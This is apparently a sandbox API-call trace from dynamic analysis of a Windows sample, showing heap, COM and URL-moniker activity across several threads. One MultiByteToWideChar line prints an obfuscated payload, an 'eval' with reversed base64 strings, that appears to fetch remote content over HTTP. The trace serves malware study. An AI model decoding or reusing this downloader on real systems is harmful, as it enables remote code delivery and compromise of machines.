[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1228 | out: hHeap=0x6b0000) returned 1
[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c10e8 | out: hHeap=0x6b0000) returned 1
[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c10c8 | out: hHeap=0x6b0000) returned 1
[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c11c8 | out: hHeap=0x6b0000) returned 1
[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b6c00 | out: hHeap=0x6b0000) returned 1
[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c11a8 | out: hHeap=0x6b0000) returned 1
[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0f28 | out: hHeap=0x6b0000) returned 1
[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c10a8 | out: hHeap=0x6b0000) returned 1
[0214.722] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1088 | out: hHeap=0x6b0000) returned 1
[0214.722] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1168 | out: hHeap=0x6b0000) returned 1
[0214.722] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1048 | out: hHeap=0x6b0000) returned 1
[0214.722] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1028 | out: hHeap=0x6b0000) returned 1
[0214.722] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1068 | out: hHeap=0x6b0000) returned 1
[0214.722] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b6bd0 | out: hHeap=0x6b0000) returned 1
[0214.722] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1b58 | out: hHeap=0x6b0000) returned 1
[0214.723] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1208 | out: hHeap=0x6b0000) returned 1
[0214.723] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1148 | out: hHeap=0x6b0000) returned 1
[0214.723] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1188 | out: hHeap=0x6b0000) returned 1
[0214.723] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1008 | out: hHeap=0x6b0000) returned 1
[0214.723] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0fe8 | out: hHeap=0x6b0000) returned 1
[0214.723] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0fa8 | out: hHeap=0x6b0000) returned 1
[0214.723] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0ee8 | out: hHeap=0x6b0000) returned 1
[0214.887] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0f08 | out: hHeap=0x6b0000) returned 1
[0214.887] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b3350 | out: hHeap=0x6b0000) returned 1
[0214.888] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0fc8 | out: hHeap=0x6b0000) returned 1
[0214.888] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b3330 | out: hHeap=0x6b0000) returned 1
[0214.888] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b9e88 | out: hHeap=0x6b0000) returned 1
[0214.888] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b3310 | out: hHeap=0x6b0000) returned 1
[0214.889] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b6b88 | out: hHeap=0x6b0000) returned 1
[0214.889] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ba008 | out: hHeap=0x6b0000) returned 1
[0214.889] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b6b68 | out: hHeap=0x6b0000) returned 1
[0214.889] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b6b48 | out: hHeap=0x6b0000) returned 1
[0214.889] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b9ff0 | out: hHeap=0x6b0000) returned 1
[0214.890] FreeLibrary (hLibModule=0x70a40000) returned 1
[0214.891] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b99c0 | out: hHeap=0x6b0000) returned 1
[0214.894] FreeLibrary (hLibModule=0x65a10000) returned 1
[0214.894] free (_Block=0x86e3c0)
Thread:
id = 33
os_tid = 0x798
Thread:
id = 34
os_tid = 0x794
[0193.711] GetCurrentThreadId () returned 0x794
[0193.712] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x6e33a820, phModule=0x660ff0c | out: phModule=0x660ff0c*=0x6dc70000) returned 1
[0193.712] EtwEventActivityIdControl () returned 0x0
[0193.712] SetEvent (hEvent=0x210) returned 1
[0193.714] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0xffffffff) returned 0x0
[0213.324] SetEvent (hEvent=0x210) returned 1
[0213.324] FreeLibraryAndExitThread (hLibModule=0x6dc70000, dwExitCode=0x0)
[0213.324] RtlTryEnterCriticalSection (CriticalSection=0x6d299fe8) returned 1
[0213.325] GetCurrentThreadId () returned 0x794
Thread:
id = 35
os_tid = 0x988
[0193.752] GetCurrentThreadId () returned 0x988
[0193.752] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x6e33a820, phModule=0x669ff0c | out: phModule=0x669ff0c*=0x6dc70000) returned 1
[0193.753] EtwEventActivityIdControl () returned 0x0
[0193.753] SetEvent (hEvent=0x21c) returned 1
[0193.756] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0xffffffff) returned 0x0
[0213.327] SetEvent (hEvent=0x21c) returned 1
[0213.327] FreeLibraryAndExitThread (hLibModule=0x6dc70000, dwExitCode=0x0)
[0213.327] RtlTryEnterCriticalSection (CriticalSection=0x6d299fe8) returned 1
[0213.327] GetCurrentThreadId () returned 0x988
Thread:
id = 36
os_tid = 0x700
[0193.783] GetCurrentThreadId () returned 0x700
[0193.784] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x6e330a20, phModule=0x672fedc | out: phModule=0x672fedc*=0x6dc70000) returned 1
[0193.784] EtwEventActivityIdControl () returned 0x0
[0193.784] SetEvent (hEvent=0x200) returned 1
[0194.079] GetCurrentThread () returned 0xfffffffe
[0194.079] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1
[0199.794] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x672fee4*=0x20c, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0213.321] SetEvent (hEvent=0x200) returned 1
[0213.321] FreeLibraryAndExitThread (hLibModule=0x6dc70000, dwExitCode=0x0)
[0213.322] RtlTryEnterCriticalSection (CriticalSection=0x6d299fe8) returned 1
[0213.322] GetCurrentThreadId () returned 0x700
Thread:
id = 37
os_tid = 0xdf4
[0195.855] GetCurrentThreadId () returned 0xdf4
[0195.856] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x6e2fcca0, phModule=0x686ff7c | out: phModule=0x686ff7c*=0x6dc70000) returned 1
[0195.856] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.857] GetProcAddress (hModule=0x754b0000, lpProcName="CoInitializeEx") returned 0x755088d0
[0195.857] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x686fef0 | out: lpflOldProtect=0x686fef0*=0x4) returned 1
[0195.857] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
[0195.858] GetCurrentThreadId () returned 0xdf4
[0195.858] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1006) returned 0x6c70f0
[0195.858] memcpy_s (in: _Destination=0x6c70f0, _DestinationSize=0x1000, _Source=0x6dfc1c, _SourceSize=0xd0e | out: _Destination=0x6c70f0) returned 0x0
[0195.858] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dfc10 | out: hHeap=0x6b0000) returned 1
[0195.858] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6ddc2570*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x686fde4 | out: ppvObject=0x686fde4*=0x6c5dd8) returned 0x0
[0195.859] IInternetProtocol:Read (in: This=0x6c5dd8, pv=0x6c7dfe, cb=0x2f2, pcbRead=0x686fef4 | out: pv=0x6c7dfe, pcbRead=0x686fef4*=0x0) returned 0x1
[0195.859] IUnknown:Release (This=0x6c5dd8) returned 0x2
[0195.859] IUnknown:QueryInterface (in: This=0x6c5dd8, riid=0x6ddc2570*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x686fe00 | out: ppvObject=0x686fe00*=0x6c5dd8) returned 0x0
[0195.860] IInternetProtocolRoot:Terminate (This=0x6c5dd8, dwOptions=0x0) returned 0x0
[0195.860] IUnknown:Release (This=0x6dae20) returned 0x6
[0195.860] IUnknown:Release (This=0x6dae64) returned 0x5
[0195.860] IUnknown:Release (This=0x6c5dd8) returned 0x2
[0195.860] IUnknown:AddRef (This=0x6c5dd8) returned 0x3
[0195.860] IUnknown:Release (This=0x6c5dd8) returned 0x2
[0195.860] IUnknown:Release (This=0x6c5dd8) returned 0x1
[0195.861] CoTaskMemFree (pv=0x6dae78)
[0195.862] GetCurrentThreadId () returned 0xdf4
[0195.862] GetCurrentThreadId () returned 0xdf4
[0195.862] GetCurrentThreadId () returned 0xdf4
[0195.862] malloc (_Size=0x15c) returned 0x630a3d8
[0195.864] memcpy_s (in: _Destination=0x6470000, _DestinationSize=0x1000, _Source=0x6c70f0, _SourceSize=0xd0e | out: _Destination=0x6470000) returned 0x0
[0195.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a22) returned 0x6dfc10
[0195.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6c70f0, cbMultiByte=3342, lpWideCharStr=0x6dfc14, cchWideChar=3342 | out: lpWideCharStr="lave
=YXYyBCZvdXWvVHI9AibldHIBNGdpZXZY9kYqV2Y0hiItNHetxmMugXbshGd0BnIpsDZvdXWvVnLvBXZuhiIHVEViwCIigGd0BnOv8ydp5mcl5Gdhx2cyATM3ImLj9WbvQXZnp3LRJzN3E2R3Y0aOlDcBNWYXRkZGx2ROJUZ1FWcHVGZ4k2LiF2VlhHVR92R5FUQ6xkUvEUVxgVRyJXVxYUa0pmaWhjQCFWU1VWb2UzctFFWZZXek9iN0AjNz8yZ2YmSZx0RIJlVXB3NzFDd2hkbaRmdvg1YqNWWDpmQYhDdQFWQMNHapRUQ4hTNQVUcvMWYiNzPyVmZ9ADdmclePpVP5gXeBlGZOZiezQWOPJGM9U0dBV1aVVlT5h0crZSdzVmc9QjWrlHO54mJjlGZ9IWR1klQPZUeaZ3VIJ2R2lzdQJ3NRZVbmEXPsl1anplTHl1baBXd5ICLgYWYsNXZpsDZvdXWvVnLzVmbkhSK7kmZoQ2b3l1b15yc0FGd1NHI90DIyADMpsHdyl3e2FmcgcWayxGTvZXZg0DIuV2dgE0Y0lmdlh1TipWZjRHKiEGZvRmYuMHdyVWYtJSK7cWayxGTvZXZu8Gcl52Onlmcsx0b2VmL0lHclBSPgEzOnlmcsx0b2VmL3JXa0VGKk92dZ9WduIXZzB3buNXZi9GZ5lyOnlmcsx0b2VmLzFmdlR3bmlGblhiIjpDXcV3clJ3ccxFc1JGbpNGXcR2b35UZ4RnLqB3ZiwCIykyOnlmcsx0b2VmLjx2bzV2O9NWY0NGaoUWK71Xf|||==gdhJHIs9mdlxUarVGI9AibldHIBNGdpZXZY9kYqV2Y0hiI3N3YylGc05ycoVGbsJSK7YXYyByahJ3bsR0b3B1b3BSPg4WZ3BSQjRXa2VGWPJmalNGdoIycjJXawRXaudmLmlGblNXezRXZt9mYqV2Y0JSK7w2b2VGTptWZuIXduhiIyV2ZzZnczIDIjpDXcV3clJ3ccxFc1JGbpNGXcR2b35UZ4RnLqB3ZikyO
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
\r\n") returned 3342
[0195.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x108) returned 0x6c8100
[0195.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x208) returned 0x6c8210
[0195.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c5498
[0195.868] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x408) returned 0x6e1640
[0195.868] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5498 | out: hHeap=0x6b0000) returned 1
[0195.868] GetCurrentThreadId () returned 0xdf4
[0195.868] IUnknown:AddRef (This=0x6c4c5c) returned 0xe
[0195.868] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x686fe04 | out: lpCPInfo=0x686fe04) returned 1
[0195.868] IUnknown:AddRef (This=0x6c52e0) returned 0x5
[0195.869] IUnknown:AddRef (This=0x6c4c5c) returned 0xf
[0195.869] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x686fdd8 | out: ppvObject=0x686fdd8*=0x6c4c5c) returned 0x0
[0195.869] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0195.869] IUnknown:AddRef (This=0x6c4c5c) returned 0x10
[0195.869] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x686fe1c | out: pdwScheme=0x686fe1c*=0x9) returned 0x0
[0195.869] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x686fdfc | out: pdwScheme=0x686fdfc*=0x9) returned 0x0
[0195.870] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1006) returned 0x6e1a50
[0195.870] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8006) returned 0x6e2a60
[0195.870] memcpy_s (in: _Destination=0x6e2a64, _DestinationSize=0x8002, _Source=0x6e13cc, _SourceSize=0x264 | out: _Destination=0x6e2a64) returned 0x0
[0195.870] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0195.871] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4000) returned 0x6eaa70
[0195.871] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eaa70 | out: hHeap=0x6b0000) returned 1
[0195.872] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x108) returned 0x6c8420
[0195.872] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c5558
[0195.872] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5558 | out: hHeap=0x6b0000) returned 1
[0195.872] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c53f8
[0195.872] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x208) returned 0x6eaa70
[0195.872] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c53f8 | out: hHeap=0x6b0000) returned 1
[0195.872] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c5558
[0195.872] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c8420 | out: hHeap=0x6b0000) returned 1
[0195.872] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5558 | out: hHeap=0x6b0000) returned 1
[0195.873] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0195.874] GetProcAddress (hModule=0x754b0000, lpProcName="CoWaitForMultipleHandles") returned 0x754f6f50
[0195.874] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x686fed0 | out: lpflOldProtect=0x686fed0*=0x4) returned 1
[0195.874] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x640c400*=0x29c, lpdwindex=0x686ff60 | out: lpdwindex=0x686ff60) returned 0x0
[0197.369] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x640c400*=0x29c, lpdwindex=0x686ff60 | out: lpdwindex=0x686ff60) returned 0x0
[0197.588] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x640c400*=0x29c, lpdwindex=0x686ff60 | out: lpdwindex=0x686ff60) returned 0x0
[0199.177] GetCurrentThreadId () returned 0xdf4
[0199.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6c7dfe, cbMultiByte=0, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 0
[0199.177] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6f8750
[0199.178] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f8750 | out: hHeap=0x6b0000) returned 1
[0199.178] GetCurrentThreadId () returned 0xdf4
[0199.178] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eaa70 | out: hHeap=0x6b0000) returned 1
[0199.179] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e2a60 | out: hHeap=0x6b0000) returned 1
[0199.179] IUnknown:Release (This=0x6c4c5c) returned 0xe
[0199.179] IUnknown:Release (This=0x6c52e0) returned 0x4
[0199.179] IUnknown:Release (This=0x6c4c5c) returned 0xd
[0199.179] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e1a50 | out: hHeap=0x6b0000) returned 1
[0199.179] IUnknown:AddRef (This=0x6c4c5c) returned 0xe
[0199.180] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x686fe04 | out: lpCPInfo=0x686fe04) returned 1
[0199.180] IUnknown:AddRef (This=0x6c52e0) returned 0x5
[0199.180] IUnknown:AddRef (This=0x6c4c5c) returned 0xf
[0199.180] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x686fdd8 | out: ppvObject=0x686fdd8*=0x6c4c5c) returned 0x0
[0199.183] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0199.183] IUnknown:AddRef (This=0x6c4c5c) returned 0x10
[0199.183] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x686fe1c | out: pdwScheme=0x686fe1c*=0x9) returned 0x0
[0199.183] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x686fdfc | out: pdwScheme=0x686fdfc*=0x9) returned 0x0
[0199.183] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1006) returned 0x715230
[0199.183] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8006) returned 0x6e1a50
[0199.183] memcpy_s (in: _Destination=0x6e1a54, _DestinationSize=0x8002, _Source=0x6e14ca, _SourceSize=0x166 | out: _Destination=0x6e1a54) returned 0x0
[0199.184] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0199.184] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4000) returned 0x717d20
[0199.186] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x717d20 | out: hHeap=0x6b0000) returned 1
[0199.186] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x108) returned 0x716240
[0199.186] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6f8930
[0199.186] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f8930 | out: hHeap=0x6b0000) returned 1
[0199.186] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6f8990
[0199.186] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x208) returned 0x716350
[0199.186] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f8990 | out: hHeap=0x6b0000) returned 1
[0199.187] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x716240 | out: hHeap=0x6b0000) returned 1
[0199.187] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x640c400*=0x29c, lpdwindex=0x686ff60 | out: lpdwindex=0x686ff60) returned 0x0
[0201.112] GetCurrentThreadId () returned 0xdf4
[0201.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6c7dfe, cbMultiByte=0, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 0
[0201.112] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x74c710
[0201.112] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x74c710 | out: hHeap=0x6b0000) returned 1
[0201.112] GetCurrentThreadId () returned 0xdf4
[0201.112] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x716350 | out: hHeap=0x6b0000) returned 1
[0201.113] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e1a50 | out: hHeap=0x6b0000) returned 1
[0201.113] IUnknown:Release (This=0x6c4c5c) returned 0xe
[0201.113] IUnknown:Release (This=0x6c52e0) returned 0x4
[0201.113] IUnknown:Release (This=0x6c4c5c) returned 0xd
[0201.113] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x715230 | out: hHeap=0x6b0000) returned 1
[0201.113] IUnknown:AddRef (This=0x6c4c5c) returned 0xe
[0201.113] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x686fe04 | out: lpCPInfo=0x686fe04) returned 1
[0201.113] IUnknown:AddRef (This=0x6c52e0) returned 0x5
[0201.116] IUnknown:AddRef (This=0x6c4c5c) returned 0xf
[0201.116] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x686fdd8 | out: ppvObject=0x686fdd8*=0x6c4c5c) returned 0x0
[0201.116] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0201.116] IUnknown:AddRef (This=0x6c4c5c) returned 0x10
[0201.116] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x686fe1c | out: pdwScheme=0x686fe1c*=0x9) returned 0x0
[0201.117] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x686fdfc | out: pdwScheme=0x686fdfc*=0x9) returned 0x0
[0201.117] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1006) returned 0x715230
[0201.117] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8006) returned 0x6e1a50
[0201.117] memcpy_s (in: _Destination=0x6e1a54, _DestinationSize=0x8002, _Source=0x6e1594, _SourceSize=0x9c | out: _Destination=0x6e1a54) returned 0x0
[0201.117] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0201.118] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4000) returned 0x76b2f8
[0201.119] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76b2f8 | out: hHeap=0x6b0000) returned 1
[0201.119] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x108) returned 0x716340
[0201.119] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x74c6f0
[0201.119] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x74c6f0 | out: hHeap=0x6b0000) returned 1
[0201.120] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x640c400*=0x29c, lpdwindex=0x686ff60 | out: lpdwindex=0x686ff60) returned 0x0
[0212.080] GetCurrentThreadId () returned 0xdf4
[0212.081] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x9e75e08
[0212.081] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x9e75e08 | out: hHeap=0x6b0000) returned 1
[0212.081] GetCurrentThreadId () returned 0xdf4
[0212.082] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x716340 | out: hHeap=0x6b0000) returned 1
[0212.082] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e1a50 | out: hHeap=0x6b0000) returned 1
[0212.084] IUnknown:Release (This=0x6c4c5c) returned 0xe
[0212.084] IUnknown:Release (This=0x6c52e0) returned 0x4
[0212.084] IUnknown:Release (This=0x6c4c5c) returned 0xd
[0212.085] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x715230 | out: hHeap=0x6b0000) returned 1
[0212.085] IUnknown:AddRef (This=0x6c4c5c) returned 0xe
[0212.085] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x686fe04 | out: lpCPInfo=0x686fe04) returned 1
[0212.085] IUnknown:AddRef (This=0x6c52e0) returned 0x5
[0212.085] IUnknown:AddRef (This=0x6c4c5c) returned 0xf
[0212.085] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x686fdd8 | out: ppvObject=0x686fdd8*=0x6c4c5c) returned 0x0
[0212.086] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0212.086] IUnknown:AddRef (This=0x6c4c5c) returned 0x10
[0212.087] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x686fe1c | out: pdwScheme=0x686fe1c*=0x9) returned 0x0
[0212.087] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x686fdfc | out: pdwScheme=0x686fdfc*=0x9) returned 0x0
[0212.087] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1006) returned 0x715230
[0212.087] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8006) returned 0x6e1a50
[0212.088] memcpy_s (in: _Destination=0x6e1a54, _DestinationSize=0x8002, _Source=0x6e1610, _SourceSize=0x20 | out: _Destination=0x6e1a54) returned 0x0
[0212.088] IUnknown:Release (This=0x6c4c5c) returned 0xf
[0212.088] PostMessageW (hWnd=0xa01d6, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0212.109] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4000) returned 0x9e78f20
[0212.110] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x9e78f20 | out: hHeap=0x6b0000) returned 1
[0212.110] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x108) returned 0x795a18
[0212.110] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x640c400*=0x29c, lpdwindex=0x686ff60 | out: lpdwindex=0x686ff60) returned 0x0
[0212.302] GetCurrentThreadId () returned 0xdf4
[0212.303] PostMessageW (hWnd=0xa01d6, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0212.304] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x640c400*=0x29c, lpdwindex=0x686ff60 | out: lpdwindex=0x686ff60) returned 0x0
[0214.530] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0214.531] GetProcAddress (hModule=0x754b0000, lpProcName="CoUninitialize") returned 0x755092a0
[0214.531] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x686fef8 | out: lpflOldProtect=0x686fef8*=0x4) returned 1
[0214.532] CoUninitialize ()
[0214.537] FreeLibraryAndExitThread (hLibModule=0x6dc70000, dwExitCode=0x0)
[0214.537] RtlTryEnterCriticalSection (CriticalSection=0x6d299fe8) returned 1
